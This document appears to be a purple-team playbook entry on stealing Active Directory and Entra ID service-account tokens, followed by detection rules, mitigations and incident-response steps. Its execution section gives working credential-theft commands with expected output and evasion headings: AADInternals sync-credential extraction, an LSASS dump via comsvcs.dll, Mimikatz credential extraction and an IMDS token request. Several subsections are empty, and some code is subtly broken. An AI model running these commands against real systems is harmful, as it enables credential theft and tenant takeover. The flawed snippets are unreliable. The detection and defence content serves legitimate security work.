MCADDF

[REALWORLD-026]: Service Account Token Harvesting

1. METADATA

Attribute Details
Technique ID REALWORLD-026
MITRE ATT&CK v18.1 T1528 - Steal Application Access Token
Tactic Credential Access
Platforms Windows AD
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-10
Affected Versions Windows Server 2016-2025; Azure AD Connect 1.0+
Patched In Mitigations available; no full patch (design feature)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Service accounts in Active Directory and Entra ID (Azure AD) are high-value targets for token theft. When a service account’s refresh token (PRT - Primary Refresh Token) or access token is stolen, attackers can impersonate the service and perform actions with the same privilege level. Service Account Token Harvesting targets tokens stored in memory, cached on disk, or transmitted over unencrypted channels. AAD Connect service accounts are particularly valuable as they hold synchronization privileges between on-premises AD and Entra ID. Tokens can be extracted from process memory (LSASS), DPAPI-encrypted storage locations, or interception during token refresh.

Attack Surface: Memory (LSASS process), registry (credential manager), Azure Instance Metadata Service (IMDS), Entra ID cloud token endpoints, and AAD Connect synchronization service.

Business Impact: Full Tenant Compromise. A stolen service account token with Hybrid Identity Administrator or Global Admin roles allows attackers to modify Entra ID configuration, create backdoor accounts, grant themselves permissions, and maintain persistent access across on-premises and cloud environments. This can lead to ransomware deployment, data exfiltration, and complete organizational compromise.

Technical Context: Token harvesting takes minutes once access is gained to the service account process. Detection likelihood is medium if cloud token telemetry is monitored. Tokens can have a lifetime of 1 hour (access token) or months (refresh token), providing persistent backdoor access.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS Azure Foundations Benchmark 1.2.1 Ensure Global Admins are limited to <3 users
DISA STIG ECPG-1 Privileged account management and monitoring
NIST 800-53 AC-6 (Least Privilege) Limit service account permissions to least privilege necessary
GDPR Article 32 Security of processing; encryption and access control
DORA Article 9 Incident reporting and security controls
NIS2 Article 21 Cyber Risk Management; credential management
ISO 27001 A.9.4.4 (Access Management) Service account management and monitoring
ISO 27005 Risk Scenario: “Credential Theft from Service Accounts” Compromise of service accounts enabling full environment access

3. TECHNICAL PREREQUISITES


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

Identify Service Accounts in Entra ID

Objective: Locate high-privilege service accounts that hold sensitive tokens.

Command:

# Connect to Microsoft Graph
Connect-MgGraph -Scopes "ServicePrincipal.Read.All"

# Get service principals with high-privilege roles
Get-MgServicePrincipal -Filter "appOwnerOrganizationId ne null" | `
    Where-Object {$_.ServicePrincipalType -eq "Application"} | `
    Select-Object DisplayName, Id, AppId, ServicePrincipalType

What to Look For:

Version Note: Command syntax is consistent across Server 2016-2025.

Check for AAD Connect Service Accounts

Objective: Identify the Azure AD Connect service account and its privilege level.

Command:

# Query Entra ID for the AAD Connect sync account
Get-MgDirectoryOnPremiseSynchronization | `
    Select-Object Id, Name, SoftMatchEnabled, BlockCloudObjectTakeoverThroughHardMatchEnabled

# Get the AAD Connect service account's role assignments
Get-MgServicePrincipal -Filter "displayName eq 'Microsoft.Azure.SyncFabric'" | `
    Get-MgServicePrincipalAppRoleAssignment

What to Look For:


5. DETAILED EXECUTION METHODS

METHOD 1: Extract AAD Connect Service Account Tokens via DPAPI Decryption

Supported Versions: Server 2016-2025 (All AAD Connect versions)

Step 1: Gain Local Admin Access to AAD Connect Server

Objective: Establish SYSTEM-level access on the AAD Connect server (usually this is the prerequisite).

Precondition: Must already have admin access to the AAD Connect server or have compromised it via initial access.

What This Enables: Access to DPAPI-encrypted credentials stored by AAD Connect.

Step 2: Extract AAD Connect Encryption Keys via AADInternals

Objective: Retrieve the DPAPI master key used to encrypt AAD Connect credentials.

Command (PowerShell, as Administrator):

# Import AADInternals module
Import-Module AADInternals

# Extract AAD Connect service credentials (requires local admin on AAD Connect server)
Get-AADIntSyncCredentials

Expected Output:

ADConnectorAccountName       : DOMAIN\AAD_ConnectServiceAccount
ADConnectorAccountDomain     : DOMAIN
ADConnectorAccountPassword   : ***(encrypted DPAPI value)***
EntraIdConnectorAccountName  : Sync_SRV-AADCONNECT_###@organization.onmicrosoft.com
EntraIdConnectorAccountType  : User
EntraIdConnectorAccountAuth  : Certificate

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Extract Refresh Token from Entra ID

Objective: Use the decrypted credentials to request a new refresh token from Entra ID.

Command (PowerShell):

# Use the extracted service account credentials to get a token
$ServiceAccountCredentials = New-Object System.Management.Automation.PSCredential(
    "Sync_SRV-AADCONNECT_###@organization.onmicrosoft.com",
    (ConvertTo-SecureString "PASSWORD" -AsPlainText -Force)
)

# Request a refresh token (valid for months)
Connect-MgGraph -TenantId "organization.onmicrosoft.com" -ClientSecretCredential $ServiceAccountCredentials -ErrorAction SilentlyContinue

# Get the current token
$Token = (Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/me").AccessToken

Expected Output:

(Access token returned; valid for 1 hour)
(Refresh token stored in credential cache; valid for 90 days or longer)

What This Means:


METHOD 2: Extract Tokens from Service Account Process Memory (Mimikatz)

Supported Versions: Server 2016-2025

Step 1: Dump LSASS Memory

Objective: Capture the LSASS process memory containing cached tokens and credentials.

Command (PowerShell, as Administrator):

# Use comsvcs.dll to dump LSASS without creating obvious crash dump
$ProcessId = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $ProcessId C:\Temp\lsass.dmp full

Expected Output:

(No output; file is created silently)

Command (Verify Dump):

Get-Item C:\Temp\lsass.dmp -ErrorAction SilentlyContinue | Measure-Object -Property Length

Expected Output:

Count    : 1
Average  : 600000000  (approximately 600 MB for LSASS dump)

What This Means:

OpSec & Evasion:

Step 2: Extract Tokens from Dump (Offline Analysis)

Objective: Analyze the LSASS dump to extract service account tokens.

Command (Run on analysis machine with Mimikatz):

# Load Mimikatz
mimikatz.exe

# In Mimikatz console:
sekurlsa::minidump C:\Path\to\lsass.dmp
sekurlsa::ekeys
sekurlsa::logonpasswords  # This extracts all cached credentials

Expected Output:

Authentication Id : 0 ; 1234567 (123456)
Session           : Interactive from 1
User Name         : AAD_SyncServiceAccount
Domain            : DOMAIN
Logon Server      : DC-01
Logon Time        : 1/10/2025 9:00:00 AM
SID               : S-1-5-21-...
msv :
        [00000003] Primary
        LM   : **empty**
        NTLM : a1b2c3d4e5f6... (NTLM hash)

What This Means:


METHOD 3: Extract Tokens from Azure Instance Metadata Service (IMDS)

Supported Versions: Server 2016+ (if running on Azure VM)

Step 1: Query IMDS for Service Account Token (If Running on Azure VM)

Objective: Request an access token from Azure’s Instance Metadata Service using the managed identity assigned to the VM.

Command (PowerShell):

# Query IMDS endpoint for access token
$Token = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-12-01&resource=https://graph.microsoft.com/" `
    -Headers @{Metadata="true"} `
    -Method GET

# Display token details
$Token | Select-Object access_token, token_type, expires_in

# Decode the JWT token to see the claims
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(($Token.access_token.Split('.')[1] + '==')))) | ConvertFrom-Json

Expected Output:

access_token : eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkhVU...
token_type   : Bearer
expires_in   : 3599

Decoded Claims:

{
  "aud": "https://graph.microsoft.com",
  "iss": "https://sts.windows.net/organization-id/",
  "iat": 1736491234,
  "nbf": 1736491234,
  "exp": 1736494834,
  "app_id": "abc123def456...",
  "appidacr": "2",
  "idp": "https://sts.windows.net/organization-id/",
  "oid": "service-account-object-id",
  "rh": "...",
  "sub": "service-account-oid",
  "tid": "organization-tenant-id",
  "unique_name": "managed-identity@azure",
  "uti": "..."
}

What This Means:

OpSec & Evasion:


6. SPLUNK DETECTION RULES

Rule 1: AADInternals Module Load Detection

Rule Configuration:

SPL Query:

index=main sourcetype=powershell
(CommandLine="*AADInternals*" OR CommandLine="*Get-AADIntSyncCredentials*")
| stats count by host, User, CommandLine
| where count > 0

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click + New Alert
  4. Paste the SPL query
  5. Set Trigger Condition to: count > 0
  6. Configure ActionSend Email
  7. Click Save

Rule 2: LSASS Memory Dump Detection

Rule Configuration:

SPL Query:

index=main sourcetype="WinEventLog:Security" EventID=4688
(CommandLine="*comsvcs.dll*MiniDump*" OR CommandLine="*procdump*lsass*" OR CommandLine="*rundll32*")
| stats count by host, User, CommandLine

What This Detects:

Source: Microsoft Event ID 4688


7. MICROSOFT SENTINEL DETECTION

Query 1: AAD Connect Service Account Token Usage from Unusual Location

Rule Configuration:

KQL Query:

SigninLogs
| where UserPrincipalName startswith "Sync_" or UserPrincipalName contains "AADConnect"
| where ConditionalAccessStatus != "notApplied"
| where Location != "Known Location"  // Customize known locations
| project TimeGenerated, UserPrincipalName, IPAddress, Location, ClientAppUsed, ResultDescription
| summarize FailureCount=count() by UserPrincipalName, IPAddress
| where FailureCount > 5

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: AAD Connect Service Account Suspicious Sign-in
    • Severity: Critical
  5. Set rule logic Tab:
    • Paste KQL query above
    • Run query every: 10 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + createCreate

Source: Microsoft Sentinel SigninLogs


8. WINDOWS EVENT LOG MONITORING

Event ID: 4688 (Process Creation)

Event ID: 4648 (Logon with Explicit Credentials)

Manual Configuration Steps (Group Policy):

  1. Open gpmc.msc
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy
  3. Enable:
    • Audit Process Creation: Success and Failure
    • Audit Logon with Explicit Credentials: Success and Failure
  4. Run gpupdate /force

9. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+

Sysmon Config Snippet:

<!-- Detect LSASS dumping via comsvcs.dll or procdump -->
<RuleGroup name="Process Creation" groupRelation="or">
    <ProcessCreate onmatch="include">
        <CommandLine condition="contains">comsvcs.dll</CommandLine>
        <CommandLine condition="contains">MiniDump</CommandLine>
    </ProcessCreate>
    <ProcessCreate onmatch="include">
        <CommandLine condition="contains">procdump</CommandLine>
        <CommandLine condition="contains">lsass</CommandLine>
    </ProcessCreate>
</RuleGroup>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create sysmon-config.xml with the XML above
  3. Install: sysmon64.exe -accepteula -i sysmon-config.xml
  4. Verify: Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10

10. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Priority 3: MEDIUM

Validation Command (Verify Fix)

# Check service account roles
Get-MgServicePrincipal -Filter "displayName eq 'Sync_*'" | Get-MgServicePrincipalAppRoleAssignment

# Check Conditional Access policies targeting service accounts
Get-AzureADPolicy -Filter "isOrganizationDefault eq false" | Where-Object {$_.DisplayName -like "*Service*"}

# Verify token lifetime policy
Get-AzureADPolicy -Filter "type eq 'TokenLifetimePolicy'" | Select-Object -ExpandProperty Definition

Expected Output (If Secure):


11. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command (Disable Service Account Immediately):
    # Disable AAD Connect sync account in Entra ID
    Update-MgUser -UserId "sync_serverid@organization.onmicrosoft.com" -AccountEnabled:$false
    
    # Revoke all refresh tokens for the service account
    Revoke-AzureADUserAllRefreshToken -ObjectId (Get-MgUser -Filter "userPrincipalName eq 'sync_*'").Id
    

    Manual:

    • Open Azure PortalEntera IDUsers
    • Find sync service account (Sync_*)
    • Click Sign-in sessionsRevoke all sessions
  2. Collect Evidence: Command:
    # Export Entera ID sign-in logs for service account
    Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
        -ResultSize 5000 -UserIds "sync_*" | Export-Csv -Path "C:\Evidence\AADConnect_SignInLog.csv"
    
    # Export security event log
    wevtutil epl Security C:\Evidence\Security.evtx
    
  3. Remediate: Command:
    # Reset service account password
    Set-MgUserPassword -UserId "sync_*@organization.onmicrosoft.com" -NewPassword (New-Guid).ToString()
    
    # Rotate AAD Connect service account certificate
    # (Requires restart of AAD Connect service)
    Restart-Service -Name "ADSync" -Force
    
  4. Investigate:
    • Review Entra ID audit logs for changes made by the compromised service account
    • Check for privilege escalation (role assignments, app permissions)
    • Verify no backdoor accounts were created
    • Scan all user accounts for suspicious password changes or MFA bypasses

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-002] BDC Deserialization Vulnerability Attacker exploits service vulnerability on AAD Connect server
2 Privilege Escalation [PE-EXPLOIT-001] PrintNightmare Attacker escalates to SYSTEM on AAD Connect server
3 Credential Access - Current Step [REALWORLD-026] Service Account Token Harvesting Attacker extracts AAD Connect service account token from memory
4 Lateral Movement [LM-AUTH-019] AAD Connect Server to AD Movement Attacker uses service account to move back to on-premises AD
5 Persistence [REALWORLD-032] Golden SAML Token Creation Attacker creates persistent tokens for long-term access
6 Impact [REALWORLD-041] Tenant-Wide Admin Compromise Attacker modifies Entra ID to create backdoor global admins

13. REAL-WORLD EXAMPLES

Example 1: HAFNIUM (APT Group)

Example 2: APT29 (Cozy Bear) - SolarWinds Compromise